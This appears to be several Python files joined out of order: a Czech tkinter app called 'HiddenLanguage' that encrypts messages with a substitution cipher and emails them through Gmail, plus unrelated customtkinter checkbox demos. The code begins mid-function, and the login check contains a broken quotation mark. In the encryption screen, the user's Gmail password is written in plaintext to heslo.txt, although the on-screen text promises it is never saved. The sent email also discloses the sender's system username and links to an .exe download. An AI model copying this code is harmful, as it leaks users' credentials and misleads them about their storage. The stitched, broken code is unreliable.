        desifrovani_okno.geometry("1920x1080")
        desifrovani_okno.title("Dešifrování")
        menu.destroy()

        nazev = tk.Label(desifrovani_okno ,text="Dešifrování", font=("Arial", 30,"bold"))
        nazev.pack()

        zasifr_text = tk.Label(desifrovani_okno, text="Níže napište zprávu, jenž chcete dešifrovat.", font=("Arial", 15))
        zasifr_text.pack()


        textbox_obsah = tk.Text(desifrovani_okno, height=10, width=50, font=("Arial", 15))
        textbox_obsah.pack(pady=20)


        textbox_kod_label = tk.Label(desifrovani_okno,text="Zadejte dešifrovací kod v příloze (ten bez mezer)",font=("Arial",13))
        textbox_kod_label.pack(pady=5)
        textbox_kod = tk.Text(desifrovani_okno,height=2, width=20,font=("Arial",15))
        textbox_kod.pack()

        def Redirect():
            zasifrovany_text_textbox = textbox_obsah.get("1.0", "end-1c")
            textbox_kod_obsah = textbox_kod.get("1.0", "end-1c")
            Desifrovani(zasifrovany_text_textbox,textbox_kod_obsah)


        tlacitko_desifrovani = tk.Button(desifrovani_okno,text="Dešifrovat zprávu",command=Redirect,height=1,width=15,font=("Arial",15),bg="blue",fg="white")
        tlacitko_desifrovani.pack(pady=20)

        output_label = tk.Label(desifrovani_okno,text="Obsah dešifrované zprávy",font=("Arial",15))
        output_label.pack(pady=5)
        output = tk.Text(desifrovani_okno,height=10,width=50,font=("Arial",15))
        output.pack()

        zpet_do_menu = tk.Button(desifrovani_okno, text="Zpět do menu", command=Zpet_do_menu,
                                   font=("Arial", 15, "bold"), bg="blue", fg="white", activeforeground="black")
        zpet_do_menu.pack(pady=20)


        def Desifrovani(zasifrovany_text,zasifrovany_kod):
            sifrovana_abeceda = zasifrovany_kod

            def create_decryption_map(original_alphabet, shuffled_alphabet):
                decryption_map = {}
                for orig_char, shuffled_char in zip(original_alphabet, shuffled_alphabet):
                    decryption_map[shuffled_char] = orig_char
                return decryption_map

            # Příklad použití:
            original_alphabet = 'ABDCEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789ěščřžýáíé#@!§'
            shuffled_alphabet = sifrovana_abeceda

            decryption_map = create_decryption_map(original_alphabet, shuffled_alphabet)

            # Dešifrování zprávy
            encrypted_message = zasifrovany_text
            decrypted_message = "".join(decryption_map.get(char, char) for char in encrypted_message)
            obsah_desifrovane_zpravy = decrypted_message

            output.delete("1.0", "end")  # Vymažeme obsah textového pole
            output.insert("1.0", obsah_desifrovane_zpravy)  # Vložíme dešifrovanou zprávu do textového pole









        #Tady budou věci po checkboxech
        desifrovani_okno.mainloop()





    def navraceni_do_menu():
        menu.destroy()
        Uvodni_menu()

    prostor_button = tk.Frame(menu)
    prostor_button.columnconfigure(0,weight=10)
    prostor_button.columnconfigure(1,weight=10)
    prostor_button.columnconfigure(2,weight=10)

    tlacitko_sif = tk.Button(prostor_button,text="Šifrovat", command=tlacitko_klik_sif,font=("Arial",15,"bold"),width=50,height=4,bg="red", fg="white",activebackground="orange",activeforeground="black")
    tlacitko_sif.grid(row=0,column=0,sticky=tk.W+tk.E)

    tlacitko_desif = tk.Button(prostor_button,text="Dešifrovat", command=tlacitko_klik_desif,font=("Arial",15,"bold"),width=50,height=4,bg="green", fg="white",activebackground="yellow",activeforeground="black")
    tlacitko_desif.grid(row=1,column=0,sticky=tk.W+tk.E)


    tlacitko_menu = tk.Button(prostor_button, text="Zpět do menu", command=navraceni_do_menu, font=("Arial", 15, "bold"),width=50,height=4,
                               bg="purple", fg="white", activebackground="pink",
                               activeforeground="black")
    tlacitko_menu.grid(row=2,column=0,sticky=tk.W+tk.E)

    prostor_button.pack(pady=100)
    #(x=600, y=100, width=100, height=100)

    menu.mainloop()

def Uvodni_menu():
    # Vytvoření okna
    global okno
    okno = tk.Tk()
    okno.geometry("800x600")
    okno.title("HiddenLanguage")

    # widget s časem
    def update_time():
        current_time = time.strftime("%d.%m.%Y %H:%M:%S")  # Formát času (hodiny:minuty:sekundy)
        time_label.config(text=current_time)
        okno.after(1000, update_time)  # Znovu spustit funkci každou sekundu (1000 ms)


    # Vytvoření tlačítka
    nazev = tk.Label(okno, text="\n" + "HiddenLanguage", font=("Arial", 30, "bold"),fg="blue")
    nazev.pack()

    aktualni_update = tk.Label(okno, text="Aktuální verze 1.0 ze dne 2023-07-28", font=("Arial", 15, "bold"),fg="blue",bg="#A1B7FF")
    aktualni_update.pack()
    informace = tk.Label(okno,
                         text="Tento program umí šifrovat a dešifrovat zprávy." + "\n" + "Zašifrované zprávy může odeslat jakékoliv určené osobě na mail." + "\n" + "Více informací naleznete na kubasobr.blogspot.com" + "\n" + "Original HiddenLanguage, all rights reserved",
                         font=("Arial", 12))
    informace.pack()

    tlacitko = tk.Button(okno, text="Klikněte pro start!", command=tlacitko_klik, font=("Arial", 25, "bold"), height=5,
                         width=24, bg="blue", fg="white", activebackground="aqua", activeforeground="black")
    tlacitko.pack(padx=50, pady=20)

    copyright = tk.Label(okno, text="Naprogramoval Jakub Šobr 2023", font=("Arial", 9))
    copyright.pack()

    #WiDGET S AKTUÁLNÍM ČASEM CO SE AKTUALIZUJE PO 1s
    time_label = tk.Label(okno, font=("Helvetica", 24), bg="light gray")
    time_label.pack(fill=tk.BOTH, expand=True)
    update_time()


    # Spuštění smyčky událostí (main loop)
    okno.mainloop()

def Prihlaseni():

    import tkinter as tk
    import time

    def update_time():
        current_time = time.strftime("%d.%m %Y - %H:%M:%S")
        time_label.config(text=current_time)
        prihlaseni.after(1000, update_time)

    def tlacitko_potvrdit_heslo():
        uzivatel= entry_uzivatel.get()
        heslo = entry_password.get()
        if heslo == "**Tady_má_být_heslo_ale_nejsem_cock"" and uzivatel == "**Tady_má_být_heslo_ale_nejsem_cock":
            label_error.config(text="Zadali jste správné heslo.", font=("Arial", 10), fg="blue")
            prihlaseni.destroy()
            # ... Pokračování s vaším kódem ...
            Uvodni_menu()
        else:
            label_error.config(text="Neplatné uživatelské jméno nebo heslo.",font=("Arial",10))
            entry_password.delete(0, tk.END)
            entry_uzivatel.delete(0, tk.END)

    def tlacitko_stisk_klavesy(event):
        tlacitko_klik()

    def on_close():
        pass  # Prázdná funkce zabrání zavření okna

    prihlaseni = tk.Tk()
    prihlaseni.geometry("800x700")
    prihlaseni.title("HiddenLanguage")

    prihlaseni.protocol("WM_DELETE_WINDOW", on_close)  # Zavolání funkce on_close při pokusu o zavření okna

    label = tk.Label(prihlaseni, text="Vítejte v aplikaci HiddenLanguage", font=("Arial", 30, "bold"))
    label.pack(pady=50)


    # TADY JE KOLONKA NA UŽIVATELE
    label_uzivatel = tk.Label(prihlaseni,text="Zadejte uživatelské jméno:",font=("Arial",20))
    label_uzivatel.pack()

    entry_uzivatel = tk.Entry(prihlaseni, font=("Arial", 20))
    entry_uzivatel.pack(pady=20)

    #KOLONKA NA HESLO
    label_password = tk.Label(prihlaseni, text="Zadejte heslo:", font=("Arial", 20))
    label_password.pack()

    entry_password = tk.Entry(prihlaseni, font=("Arial", 20), show="*")
    entry_password.pack(pady=20)
    #konec kolonky a potvrzení v podobe tlacitka


    prihlaseni_button = tk.Button(prihlaseni, text="Potvrdit",bg="blue",fg="white", font=("Arial", 20), command=tlacitko_potvrdit_heslo)
    prihlaseni_button.pack(pady=10)

    # Tady je ukončení programu definitivně!!
    def Konec():
        exit()
    konec = tk.Button(prihlaseni, text="Opustit aplikaci", command=Konec,
                                  font=("Arial", 12, "bold"), bg="red", fg="white", activeforeground="black")
    konec.pack()


    label_error = tk.Label(prihlaseni, text="", font=("Arial", 15), fg="red")
    label_error.pack()

    entry_password.bind("<Return>", tlacitko_stisk_klavesy)

    time_label = tk.Label(prihlaseni, font=("Helvetica", 24), bg="light gray")
    time_label.pack(fill=tk.BOTH, expand=True)
    update_time()

    prihlaseni.mainloop()
Prihlaseni()
Uvodni_menu()
mylist = ['nowplaying', 'PBS', 'PBS', 'nowplaying', 'job', 'debate', 'thenandnow']
myset = set(mylist)
print(myset)
# Create a custom application class "Hobbies" that inherits from CTk (Custom Tkinter)
class Hobbies(CTk):
    # Constructor of the class
    def __init__(self):
        # Call the constructor of the parent class (CTk) using super()
        super().__init__()
        self.title("Hobbies")
        
        # Create a label to display "Select your hobbies"
        self.display_label = CTkLabel(self, text="Select your hobbies")
        self.display_label.pack(padx=10, pady=10)

        # Create a frame to hold the checkboxes
        self.frame =CTkFrame(self)
        self.frame.pack(padx=10, pady=10)

        # Create a StringVar to store the value of the first hobby (initially empty)
        self.hobby1 = StringVar()
        # Create a CTkCheckBox for "Coding"
        # When the checkbox is toggled, the self.hobby() method will be called
        # The checkbox's variable is self.hobby1, and its values are "Coding" (checked) and "" (unchecked)
        self.hobby1_cb = CTkCheckBox(self.frame, text="Coding", command=self.hobby,
                                            variable=self.hobby1, onvalue="Coding", offvalue="")
        self.hobby1_cb.grid(row=0, padx=10, pady=10)

        # Create a StringVar to store the value of the second hobby (initially empty)
        self.hobby2 = StringVar()
        # Create a CTkCheckBox for "Cricket"
        # When the checkbox is toggled, the self.hobby() method will be called
        # The checkbox's variable is self.hobby2, and its values are "Cricket" (checked) and "" (unchecked)
        self.hobby2_cb = CTkCheckBox(self.frame, text="Cricket", command=self.hobby,
                                            variable=self.hobby2, onvalue="Cricket", offvalue="")
        self.hobby2_cb.grid(row=1, padx=10, pady=10)

        # Create a StringVar to store the value of the third hobby (initially empty)
        self.hobby3 = StringVar()
        # Create a CTkCheckBox for "Drawing"
        # When the checkbox is toggled, the self.hobby() method will be called
        # The checkbox's variable is self.hobby3, and its values are "Drawing" (checked) and "" (unchecked)
        self.hobby3_cb = CTkCheckBox(self.frame, text="Drawing", command=self.hobby,
                                            variable=self.hobby3, onvalue="Drawing", offvalue="")
        self.hobby3_cb.grid(row=2, padx=10, pady=10)

        # Create a label to display the selected hobbies
        self.label= CTkLabel(self.frame, text="")
        self.label.grid(row=3)

    # Method to handle the checkbox toggle event
    def hobby(self):
        # Destroy the existing label to clear its contents
        self.label.destroy()

        # Create a new label to display the selected hobbies
        self.label = CTkLabel(self.frame, text=f"{self.hobby1.get()} {self.hobby2.get()} {self.hobby3.get()}")
        self.label.grid(row=3)

# Create an instance of the custom application class "Hobbies"
app = Hobbies()
# Start the main event loop of the application
app.mainloop()
# Importing the necessary modules from customtkinter library
from customtkinter import *
# This function will be called when the checkbox is toggled
def checkbox_event():
    # Create a new CTkLabel widget and display the current value of the checkbox
    label = CTkLabel(app, text=f"checkbox toggled, current value: {check_var.get()}")
    label.pack()

# Create a CTk application instance
app = CTk()
# Create a StringVar to hold the value of the checkbox (initially empty)
check_var = StringVar()
# Create a CTkCheckBox widget with text "Switch"
# When the checkbox is toggled, the checkbox_event function will be called
# The checkbox's variable is check_var, and its values are "on" (checked) and "off" (unchecked)
checkbox = CTkCheckBox(app, text="Switch", command=checkbox_event,
                                     variable=check_var, onvalue="on", offvalue="off")
# Pack the checkbox widget, adding padding around it
checkbox.pack(padx=10, pady=10)
# Start the main event loop of the application
app.mainloop()

"""
# ------------------IN OOP------------------
# Create a custom application class "App" that inherits from CTk (Custom Tkinter)
class App(CTk):
    # Constructor of the class
    def __init__(self):
        # Call the constructor of the parent class (CTk) using super()
        super().__init__()

        # Create a StringVar to hold the value of the checkbox (initially empty)
        self.check_var = StringVar()
        # Create a CTkCheckBox widget with text "Switch"
        # When the checkbox is toggled, the self.checkbox_event method will be called
        # The checkbox's variable is self.check_var, and its values are "on" (checked) and "off" (unchecked)
        self.checkbox = CTkCheckBox(self, text="Switch", command=self.checkbox_event,
                                            variable=self.check_var, onvalue="on", offvalue="off")
        # Pack the checkbox widget, adding padding around it
        self.checkbox.pack(padx=10, pady=10)

    # Method to handle the checkbox toggle event
    def checkbox_event(self):
        # Create a new CTkLabel widget and display the current value of the checkbox
        label = CTkLabel(self, text=f"checkbox toggled, current value: {self.check_var.get()}")
        label.pack()

# Create an instance of the custom application class "App"
app = App()
app.mainloop()
"""
import tkinter as tk
from tkinter import messagebox
import random
import time
import random
import smtplib
import time
from email.mime.multipart import MIMEMultipart
import time
from email.mime.base import MIMEBase
from email import encoders

import getpass
from email.mime.text import MIMEText
obsah_desifrovane_zpravy = ""
import datetime
def tlacitko_klik():
    okno.destroy()
    menu = tk.Tk()
    menu.geometry("800x700")
    #menu.configure(bg="light gray")
    menu.title("HiddenLanguage")

    label1 = tk.Label(menu,text="\n" +"Šifrovat či Dešifrovat?",font=("Arial",30,"bold"))
    label1.pack()

    label2 = tk.Label(menu,text="Chcete šifrovat nebo dešifrovat?",font=("Arial",15))
    label2.pack()

    def tlacitko_klik_sif():


        #Přes tento kod se uloží hodnoty a spustí funkce Šifrování a email.
        def ulozeni_hodnot_mail():
            # Získáme text z textboxu (Text widgetu)
            zprava_ke_skryti = textbox_obsah.get("1.0", "end-1c")  # "1.0" označuje začátek a "end-1c" označuje konec textu
            nazev_souboru_sifr = (str(textbot_nazev_souboru.get("1.0", "end-1c")) + ".txt")
            odesilatel = textbot_odesilatel.get("1.0", "end-1c")
            prijemce = textbot_prijemce.get("1.0", "end-1c")
            heslo = textbot_odesilatel_heslo.get("1.0", "end-1c")

            #List který slouží pro for i in range dole


            with open("zprava_ke_skryti.txt","w") as file:
                file.write(zprava_ke_skryti)
            with open(nazev_souboru_sifr, "w") as file:
                file.write(nazev_souboru_sifr)
            with open("odesilatel.txt","w") as file:
                file.write(odesilatel)
            with open("prijemce.txt","w") as file:
                file.write(prijemce)
            with open("heslo.txt", "w") as file:
                file.write(heslo)

            # Tady získáváme informace ke každé informaci v podobě True False (jestli je pole prázdné nebo ne) Stačí aby bylo jedno a bude error
            if not zprava_ke_skryti.strip() or not nazev_souboru_sifr.strip() or not odesilatel.strip() or not prijemce.strip() or not heslo.strip():
                messagebox.showinfo("Upozornění", "Vyplňte všechna pole!")

            if odesilatel.strip():
                if not odesilatel[-10:] == "@gmail.com":
                    messagebox.showinfo("Upozornění", "Jediná možná adresa u odesílatele e-mailu je @gmail.com!")

            Sifrovani(zprava_ke_skryti, nazev_souboru_sifr)
            with open("sifrovani.txt", "r") as file:
                sifrovany_text = file.read()
                oznamena_sifra = tk.Label(sifrovani_okno, text=(
                        "Vaše skrytá zakodovaná šifra zní takto: " + str(sifrovany_text)),
                                          font=("Arial", 15))
                oznamena_sifra.place(x=150, y=650, width=600, height=100)
            email(odesilatel, prijemce, heslo, nazev_souboru_sifr)
            messagebox.showinfo("Upozornění", "Úspěšně odeslán email!")
            program_bude_ukoncen = tk.Label(sifrovani_okno,
                                            text="Toto okno bude do pár sekund zavřeno.Poté budete moci program použít znovu.")
            program_bude_ukoncen.place(x=250, y=650, width=600, height=100)
            time.sleep(5)
            sifrovani_okno.destroy()
            time.sleep(2)
            Uvodni_menu()



        #Vytvoření šifrovacího okna
        sifrovani_okno = tk.Tk()
        sifrovani_okno.geometry("1920x1080")
        sifrovani_okno.title("Šifrování")
        menu.destroy()

        def zpet_do_menu():
            time.sleep(2)
            sifrovani_okno.destroy()
            Uvodni_menu()

        label1 = tk.Label(sifrovani_okno ,text="Šifrování", font=("Arial", 30))
        label1.pack()


        label2 = tk.Label(sifrovani_okno,text="Níže napište svoji zprávu, jenž chcete šifrovat.", font=("Arial", 15))
        label2.pack()
        textbox_obsah = tk.Text(sifrovani_okno, height=10,width=50, font=("Arial", 15))
        textbox_obsah.pack(pady=20)


        label3 = tk.Label(sifrovani_okno,padx=30, text="Zde napište název pro soubor, v němž bude uložen kod.", font=("Arial", 15))
        label3.pack()
        textbot_nazev_souboru = tk.Text(sifrovani_okno, height=1,width=30, font=("Arial", 15))
        textbot_nazev_souboru.pack(pady=20)

        #EMAIL
        email_odesilatel_label = tk.Label(sifrovani_okno,padx=35, text="Zadejte váš email", font=("Arial", 15))
        email_odesilatel_label.pack()
        textbot_odesilatel = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_odesilatel.pack(pady=20)

        email_prijemce_label = tk.Label(sifrovani_okno, padx=45, text="Zadejte email dané osoby", font=("Arial", 15))
        email_prijemce_label.pack()
        textbot_prijemce = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_prijemce.pack(pady=20)

        email_odesilatel_label_heslo = tk.Label(sifrovani_okno, padx=50, text="Zadejte vaše heslo", font=("Arial", 15))
        email_odesilatel_label_heslo.pack()
        textbot_odesilatel_heslo = tk.Text(sifrovani_okno, height=1, width=30, font=("Arial", 15))
        textbot_odesilatel_heslo.pack(pady=20)


        kontrola = tk.Button(sifrovani_okno,text="Odeslat", command=ulozeni_hodnot_mail,font=("Arial",20),bg = "gray", fg = "black", activebackground = "blue",activeforeground="white")
        kontrola.pack(pady=10)

        poznamka = tk.Label(sifrovani_okno, text="Kod v souboru, jemuž dáváte název je takový kod bez mezer, který je důležitý při dešifrování." + "\n" +"Odesílatel musí mít emailovou adresu od Gmailu. Příjemce nemusí." + "\n" +"Heslo vámi zadané se nikam neukládá a za to vám ručím. Celý programovací kod je veřejně přístupný.", font=("Arial", 10))
        poznamka.pack(pady=1)

        # TADY je check button na to jestli chce aby měl email nápovědu na to jak šifrovat a dešifrovat
        def on_checkbox_click():
            if napoveda.get() == 1:
                #print("Zaškrtnuto")
                with open("napoveda_uzivatel","w") as file:
                    file.write("ano")
            else:
                #print("Odškrtnuto")
                with open("napoveda_uzivatel","w") as file:
                    file.write("ne")

        napoveda = tk.IntVar()
        checkbox = tk.Checkbutton(sifrovani_okno, text="Chcete aby email obsahoval nápovědu k dešifrování a šifrování?",font=("Arial",12), variable=napoveda, command=on_checkbox_click)
        checkbox.pack()

        navraceni_do_menu = tk.Button(sifrovani_okno,text="Vrátit se do menu",command=zpet_do_menu,font=("Arial",12,"bold"),bg="blue",fg="white",activeforeground="black")
        navraceni_do_menu.pack()

        #Konfigurace mailu
        def email(odesilatel,prijemce,password,nazev_souboru):
            qw = getpass.getuser()
            import datetime
            # Získání aktuálního času
            cas = datetime.datetime.now()
            hodiny_cas = cas.strftime("%H:%M:%S")
            formatovany_cas = cas.strftime("%Y-%m-%d %H:%M:%S")

            sender_password = password

            # Email configuration
            sender_email = odesilatel
            receiver_email = prijemce
            subject = "Byla vám poslána záhadná zpráva"

            with open(nazev_souboru,"r") as file:
                nova_abeceda = file.read()
            with open("napoveda_uzivatel","r") as file:
                napoveda_ano_ne = file.read()
            if napoveda_ano_ne == "ano":
                html_message = f"""<p><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 36px; color: rgb(0, 0, 0); text-shadow: rgba(136, 136, 136, 0) 0px 0px 0px;">Byla v&aacute;m odesl&aacute;na z&aacute;hadn&aacute; zpr&aacute;va</span></strong></span></p>
<p><span style="font-size: 26px;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Co to m&aacute; znamenat?</strong></span></span></p>
<p>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">Před několika vteřinami, přesněji v&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{hodiny_cas}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">&nbsp; byla zaznamen&aacute;na podivn&aacute; aktivita na jak&eacute;msi programu s n&aacute;zvem&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">HiddenLanguage</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Jedin&aacute; dohledateln&aacute; informace je, že uživatel se vyskytuje pod přezd&iacute;vkou&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{qw}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Pokud v&iacute;te co m&aacute;te dělat, tak čiňte jak usoud&iacute;te. V př&iacute;loze je zasl&aacute;n k&oacute;d, jenž se v&aacute;m bude zajist&eacute; hodit v dal&scaron;&iacute;ch akc&iacute;ch.</span></font>
</p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-size: 26px; font-family: Arial, Helvetica, sans-serif;"><strong>Zachycen&aacute; zpr&aacute;va ze serv</strong><strong>eru</strong></span></p>
<div><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 18px;">{sifrovany_text}</span></strong></span></div>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Zachycen&yacute; k&oacute;d ze serv</strong><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">eru</strong></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;"><strong>{nova_abeceda}</strong></span></p>
<p style="text-align: left;"><br></p>
<p><br></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Tvůrce HiddenLanguage</strong><img src="https://myfiles.space/user_files/168855_15d4659979401e54/168855_custom_files/img1690038712.jpeg" alt="He know where you are" style="margin: 0 auto; display: block; width: 1100px;" width="1100" height="614"></span></p>
<p style="text-align: left;"><br></p>
<p style="text-align: center;"><br></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Doba odesl&aacute;n&iacute;: {formatovany_cas}</strong></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Soubor ke stažen&iacute;: <a href="https://www.mediafire.com/file/blnje4ut0ped9pi/HiddenLanguage.exe/file" target="_blank" rel="noopener noreferrer">MediaFire Download</a><br></strong></span></p>
<div style="color: red;"><br></div>
"""

            else:
                html_message = f"""<p><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 36px; color: rgb(0, 0, 0); text-shadow: rgba(136, 136, 136, 0) 0px 0px 0px;">Byla v&aacute;m odesl&aacute;na z&aacute;hadn&aacute; zpr&aacute;va</span></strong></span></p>
<p><span style="font-size: 26px;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Co to m&aacute; znamenat?</strong></span></span></p>
<p>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">Před několika vteřinami, přesněji v&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{hodiny_cas}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">&nbsp; byla zaznamen&aacute;na podivn&aacute; aktivita na jak&eacute;msi programu s n&aacute;zvem&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">HiddenLanguage</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Jedin&aacute; dohledateln&aacute; informace je, že uživatel se vyskytuje pod přezd&iacute;vkou&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{qw}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Pokud v&iacute;te co m&aacute;te dělat, tak čiňte jak usoud&iacute;te. V př&iacute;loze je zasl&aacute;n k&oacute;d, jenž se v&aacute;m bude zajist&eacute; hodit v dal&scaron;&iacute;ch akc&iacute;ch.</span></font>
</p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-size: 26px; font-family: Arial, Helvetica, sans-serif;"><strong>Zachycen&aacute; zpr&aacute;va ze serv</strong><strong>eru</strong></span></p>
<div><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 18px;">{sifrovany_text}</span></strong></span></div>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Zachycen&yacute; k&oacute;d ze serv</strong><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">eru</strong></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"><span style="font-size: 18px;">{nova_abeceda}</span></strong></p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 26px;"><strong>Co d&aacute;le</strong></span></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">V př&iacute;loze jsou dva soubory. Jeden z nich se vždy jmenuje sifrovani.txt a druh&yacute; je pojmenov&aacute;n podle autora.</span></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 19px;"><strong><span style="color: rgb(226, 80, 65);">De&scaron;ifrov&aacute;n&iacute;</span></strong></span></p>
<ol>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">St&aacute;hněte tento soubor, kter&yacute; se nejmenuje &scaron;ifrov&aacute;n&iacute;, do složky Plocha - HiddenLanguage - Program.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Spusťte program a zvolte druhou možnost = de&scaron;ifrov&aacute;n&iacute;.&nbsp;</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte n&aacute;zev textov&eacute;ho souboru, jenž jste si před chv&iacute;l&iacute; st&aacute;hnul. (Pozor, napi&scaron;te n&aacute;zev bez .txt!)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Vložte nečiteln&yacute; k&oacute;d, jenž vid&iacute;te nad sebou v č&aacute;sti B.&nbsp;</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Počkejte na v&yacute;sledek</li>
</ol>
<p><b style="font-family: Arial, Helvetica, sans-serif; font-size: 16px;">V odeslan&yacute;ch zpr&aacute;v&aacute;ch by jste měli vidět v&aacute;&scaron; odeslan&yacute; mail.</b></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 19px; color: rgb(41, 105, 176);"><strong>&Scaron;ifrov&aacute;n&iacute;</strong></span></span></p>
<ol>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Spusťte program.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zvolte prvn&iacute; možnost.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte text, kter&yacute; chcete &scaron;ifrovat.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte n&aacute;zev pro uložen&iacute; va&scaron;eho k&oacute;du. (např. tajemny_kod)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Uvid&iacute;te za&scaron;ifrovanou zpr&aacute;vu</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Vyberte zda-li chcete &scaron;ifru poslat někomu na mail.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte svůj e-mail. (Pouze a jedině Gmail funguje)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte e-mail toho, kdož m&aacute; mail obdržet.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte sv&eacute; heslo. (heslo nikde neukl&aacute;d&aacute;me!)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Je hotovo!</li>
</ol>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p><br></p>
<p><br></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Tvůrce HiddenLanguage</strong><img src="https://myfiles.space/user_files/168855_15d4659979401e54/168855_custom_files/img1690038712.jpeg" alt="He know where you are" style="margin: 0 auto; display: block; width: 1100px;" width="1100" height="614"></span></p>
<p style="text-align: left;"><br></p>
<p style="text-align: center;"><br></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Doba odesl&aacute;n&iacute;: {formatovany_cas}</strong></span></p>
